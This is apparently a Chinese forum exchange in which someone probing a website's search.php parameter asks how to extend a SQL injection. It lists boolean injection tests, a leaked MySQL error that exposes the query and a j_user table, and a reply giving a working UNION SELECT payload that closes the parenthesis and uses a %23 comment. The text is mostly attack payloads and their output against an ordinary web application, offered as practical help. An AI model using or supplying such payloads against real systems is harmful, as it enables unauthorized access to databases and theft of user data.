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 http://xxx.com/search.php?dy=a%' and 1=1-- 错误 http://xxx.com/search.php?dy=a%' and 1=2-- 错误 http://xxx.com/search.php?dy=a%' and 1=1 and '%'=' 正常 http://xxx.com/search.php?dy=a%' and 1=2 and '%'=' 错误 请教如何构造语句进行order by 或者union查询等？ http://xxx.com/search.php?dy=a%' and 1=2 order by xx and '%'=' 提示错误。。 info: MySQL Query Error Time: 2011-2-8 2:23pm Script: SQL: SELECT U_Id,U_Yxdm,U_Show,U_Name,U_Num FROM j_user WHERE U_Type='3' AND U_Show>'0' AND (U_Yxdm='a%' and 1=2 order by 20 and '%'='' OR U_Name LIKE '%a%' and 1=2 order by 20 and '%'='%') ORDER BY U_Num ASC Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 20 and '%'='' OR U_Name LIKE '%a%' and 1=2 order by 20 and '%'='%') ORD' at line 1 Errno.: 1064 用%23 http://xxx.com/search.php?dy=x') union select 1,2,3,4,5%23 x') union select 1,2,3,4,5#

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